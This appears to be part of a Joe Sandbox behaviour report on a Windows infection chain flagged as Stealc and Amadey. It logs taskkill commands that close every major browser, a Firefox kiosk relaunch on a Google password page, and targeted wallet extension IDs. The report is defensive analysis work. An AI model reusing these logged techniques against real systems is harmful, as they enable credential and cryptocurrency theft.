Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000003.2591227334.00000000053C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.2635976470.000000000173E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.2634884064.0000000000A21000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	11:51:51
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe"
Imagebase:	0xf60000
File size:	919'552 bytes
MD5 hash:	4BD898F7538E346E91E4C83E0C11AD2A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	11:51:51
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x280000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	11:51:52
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	11:51:54
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x280000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	11:51:54
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	11:51:54
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x280000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	11:51:54
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	11:51:55
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x280000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	11:51:55
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	11:51:55
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe"
Imagebase:	0xe30000
File size:	2'891'264 bytes
MD5 hash:	4AA75791152671DB0DD310096A19F866
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	11:51:55
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x280000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	11:51:55
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	11:51:56
Start date:	23/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	11:51:56
Start date:	23/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	11:51:56
Start date:	23/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	11:51:56
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000995001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000995001\num.exe"
Imagebase:	0x9e0000
File size:	314'368 bytes
MD5 hash:	791FCEE57312D4A20CC86AE1CEA8DFC4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000000.2667130005.00000000009E1000.00000080.00000001.01000000.00000013.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000002.2687324655.00000000009E1000.00000080.00000001.01000000.00000013.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000002.2688771618.0000000000EBE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1000995001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	11:51:57
Start date:	23/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2268 -parentBuildID 20230927232528 -prefsHandle 2196 -prefMapHandle 2184 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3c1d5462-c346-494a-a215-38ac926e40ed} 5900 "\\.\pipe\gecko-crash-server-pipe.5900" 2ee4c96f510 socket
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	11:52:00
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x130000
File size:	1'925'632 bytes
MD5 hash:	61E940C7CECC109FEE9B6BD3A4F394D5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001E.00000003.2722993454.0000000004890000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001E.00000002.2764558562.0000000000131000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	11:52:00
Start date:	23/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3744 -parentBuildID 20230927232528 -prefsHandle 3908 -prefMapHandle 3644 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {4e609914-25f3-44db-b997-bef2d2c17579} 5900 "\\.\pipe\gecko-crash-server-pipe.5900" 2ee5ee46610 rdd
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	11:52:03
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe"
Imagebase:	0xa20000
File size:	1'833'984 bytes
MD5 hash:	DD0CAAED8398954963C8A3FFB1196E18
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000003.2760497126.0000000004D40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.2807278591.0000000000A21000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.2806511011.000000000082B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	11:52:12
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe"
Imagebase:	0xf60000
File size:	919'552 bytes
MD5 hash:	4BD898F7538E346E91E4C83E0C11AD2A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 00000021.00000003.2991405310.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	11:52:12
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x280000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	11:52:12
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	11:52:20
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000995001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000995001\num.exe"
Imagebase:	0x9e0000
File size:	314'368 bytes
MD5 hash:	791FCEE57312D4A20CC86AE1CEA8DFC4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000024.00000002.2926562320.0000000001187000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000024.00000000.2909397637.00000000009E1000.00000080.00000001.01000000.00000013.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000024.00000002.2924335248.00000000009E1000.00000080.00000001.01000000.00000013.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	11:52:25
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x280000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	11:52:25
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	11:52:25
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x280000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	11:52:25
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	11:52:25
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x280000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	11:52:25
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	11:52:25
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x280000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	11:52:25
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	11:52:25
Start date:	23/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	11:52:26
Start date:	23/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	11:52:28
Start date:	23/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2336 -parentBuildID 20230927232528 -prefsHandle 2272 -prefMapHandle 2264 -prefsLen 25307 -prefMapSize 239752 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e7c1ee17-f254-4518-bacd-57c97958ed1d} 4992 "\\.\pipe\gecko-crash-server-pipe.4992" 1c6f5e6ff10 socket
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 01013EE2 Relevance: 1.4, Strings: 1, Instructions: 175COMMON

Download Yara Rule

Strings

c, xrefs: 01013F1F

Memory Dump Source

Source File: 00000000.00000003.2233781070.0000000001012000.00000004.00000020.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Associated: 00000000.00000003.2246607974.0000000001010000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1012000_file.jbxd

Similarity

API ID:
String ID: c
API String ID: 0-112844655
Opcode ID: fc60e7062636787d593b70f479b3841b67fbfab859a4804be7d4462477a2e575
Instruction ID: 9c785b69c7270bd4db9fd2948075a062f66d5987493863a3071c6793b459271c
Opcode Fuzzy Hash: fc60e7062636787d593b70f479b3841b67fbfab859a4804be7d4462477a2e575
Instruction Fuzzy Hash: 6171F56250E7C14FE353873499687907FB0AF23218F1E82DBC4C88F1A3D769990AD762

Function 01012E99 Relevance: 1.1, Instructions: 1124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2233781070.0000000001012000.00000004.00000020.00020000.00000000.sdmp, Offset: 01012000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1012000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0563cec67e45849d5dcb9c4a1b365f6c9d37e3ccc18bca6b5667e8141a843aee
Instruction ID: 7c2a1c70e4bd1303aab2a474738dc4f3be760f44ea8012d86e4a3d983adc4bcb
Opcode Fuzzy Hash: 0563cec67e45849d5dcb9c4a1b365f6c9d37e3ccc18bca6b5667e8141a843aee
Instruction Fuzzy Hash: AF82A5B644E7C29FD7534B7488652817FB1AF2322876E44DBC0C0CE1B3E65E494ADB62

Function 01012E99 Relevance: 1.1, Instructions: 1124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2233781070.0000000001012000.00000004.00000020.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Associated: 00000000.00000003.2246607974.0000000001010000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1012000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fb9666dead989679c3aef717d2dd598f841ebd0da03ef90a42d7d7a163ed61c
Instruction ID: 7c2a1c70e4bd1303aab2a474738dc4f3be760f44ea8012d86e4a3d983adc4bcb
Opcode Fuzzy Hash: 5fb9666dead989679c3aef717d2dd598f841ebd0da03ef90a42d7d7a163ed61c
Instruction Fuzzy Hash: AF82A5B644E7C29FD7534B7488652817FB1AF2322876E44DBC0C0CE1B3E65E494ADB62

Function 010138C9 Relevance: .4, Instructions: 399COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2233781070.0000000001012000.00000004.00000020.00020000.00000000.sdmp, Offset: 01012000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1012000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6337446c4e9e3ece19d6332778560fe0a61c13d5666244a378149b6b5a431e3f
Instruction ID: 6dbece03dc6cc89d7540d2769a990b3a8ca02c48279836bfafae5bba21fc7c3e
Opcode Fuzzy Hash: 6337446c4e9e3ece19d6332778560fe0a61c13d5666244a378149b6b5a431e3f
Instruction Fuzzy Hash: FA02F87140E7D18FD7538B7488A97907FF0AF13328B1E45EAC0848F5A7E769685ACB12

Function 010138C9 Relevance: .4, Instructions: 399COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2233781070.0000000001012000.00000004.00000020.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Associated: 00000000.00000003.2246607974.0000000001010000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1012000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6337446c4e9e3ece19d6332778560fe0a61c13d5666244a378149b6b5a431e3f
Instruction ID: 6dbece03dc6cc89d7540d2769a990b3a8ca02c48279836bfafae5bba21fc7c3e
Opcode Fuzzy Hash: 6337446c4e9e3ece19d6332778560fe0a61c13d5666244a378149b6b5a431e3f
Instruction Fuzzy Hash: FA02F87140E7D18FD7538B7488A97907FF0AF13328B1E45EAC0848F5A7E769685ACB12

Function 01014208 Relevance: 5.3, Strings: 4, Instructions: 296COMMON

Download Yara Rule

Strings

Martian, xrefs: 010142E2
cjelfplplebdjjenllpjcblmjkfcffne, xrefs: 010142F3
Rabby, xrefs: 010142CA
fhbohimaelbohpjbbldcngcnapndodjp, xrefs: 01014233

Memory Dump Source

Source File: 00000000.00000003.2233781070.0000000001012000.00000004.00000020.00020000.00000000.sdmp, Offset: 01012000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1012000_file.jbxd

Similarity

API ID:
String ID: Martian$Rabby$cjelfplplebdjjenllpjcblmjkfcffne$fhbohimaelbohpjbbldcngcnapndodjp
API String ID: 0-1891857950
Opcode ID: 2404633778d251c27a10169911e75a564e37462b114dd36f73df25ae1255c282
Instruction ID: d833bdae4f22c65f6f710f96df62590e077badb7f9a4c4278af1cef2b8f96cdf
Opcode Fuzzy Hash: 2404633778d251c27a10169911e75a564e37462b114dd36f73df25ae1255c282
Instruction Fuzzy Hash: 4AC194B544E7C19FD7434B7098656817FB1AF13228B1A44EBD4C0CF0B3E6AE595ACB22

Function 01014224 Relevance: 5.3, Strings: 4, Instructions: 293COMMON

Download Yara Rule

Strings

fhbohimaelbohpjbbldcngcnapndodjp, xrefs: 01014233
Martian, xrefs: 010142E2
Rabby, xrefs: 010142CA
cjelfplplebdjjenllpjcblmjkfcffne, xrefs: 010142F3

Memory Dump Source

Source File: 00000000.00000003.2233781070.0000000001012000.00000004.00000020.00020000.00000000.sdmp, Offset: 01010000, based on PE: false

Associated: 00000000.00000003.2246607974.0000000001010000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1012000_file.jbxd

Similarity

API ID:
String ID: Martian$Rabby$cjelfplplebdjjenllpjcblmjkfcffne$fhbohimaelbohpjbbldcngcnapndodjp
API String ID: 0-1891857950
Opcode ID: ceabd76f0e23ade270fe8c736ffa072fb2afb4c26f7794f41c3b4a1298cdd4a3
Instruction ID: 71db22ae2d5fe16c2154c60379fa94c351d7751c90681ae7dc8ce6616576c5da
Opcode Fuzzy Hash: ceabd76f0e23ade270fe8c736ffa072fb2afb4c26f7794f41c3b4a1298cdd4a3
Instruction Fuzzy Hash: 57C1947544E7C19FD7434B7098656817FB1AF13228B1A44EBD4C0CF0B3E6AE595ACB22

Analysis Process: OLR88CERN7VQFRQ38J.exePID: 2864, Parent PID: 2224COMMON

Executed Functions

Function 04A00E3E Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2408512560.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_OLR88CERN7VQFRQ38J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9053c8e08b41e78914fba022208ddd0c579d8253edd5d78db65c79a383c62ce6
Instruction ID: dcdcffedfd4783a9f550b25115c2e8f245084e5b4ddcb5ed3f85fb72032aaecb
Opcode Fuzzy Hash: 9053c8e08b41e78914fba022208ddd0c579d8253edd5d78db65c79a383c62ce6
Instruction Fuzzy Hash: 76F049FB64C221ADB14285817B54BBA67BAE5D2730331C867F402E6682F2985E493031

Function 04A00DB2 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2408512560.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_OLR88CERN7VQFRQ38J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93ce1a25e2dd0d74fa40c3a39a326f1d48105ed1dcd664916bf574aa9d1a1663
Instruction ID: 565153799ffa09a89b960dfbe64d024ab92aa0825274a598700c23d87e6bc765
Opcode Fuzzy Hash: 93ce1a25e2dd0d74fa40c3a39a326f1d48105ed1dcd664916bf574aa9d1a1663
Instruction Fuzzy Hash: 70219DFB28D1117EB14281907B58BFA6B7EE5D6730330C467F402E6282F6996E496131

Function 04A00DB7 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2408512560.0000000004A00000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4a00000_OLR88CERN7VQFRQ38J.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0b776c624f76956ed61ace645ed25f9fde133b8c7ee36f84eb246a227fc95d0
Instruction ID: 3cfe3755b315caa2f1bb1cecbefd497ff35278a805adf10266f0a9f0ea6eadba
Opcode Fuzzy Hash: a0b776c624f76956ed61ace645ed25f9fde133b8c7ee36f84eb246a227fc95d0
Instruction Fuzzy Hash: AD21C0FB24C1507EA14285953B68BFB6B7DE5D7730330C46BF402E6282F6C46A4D6131

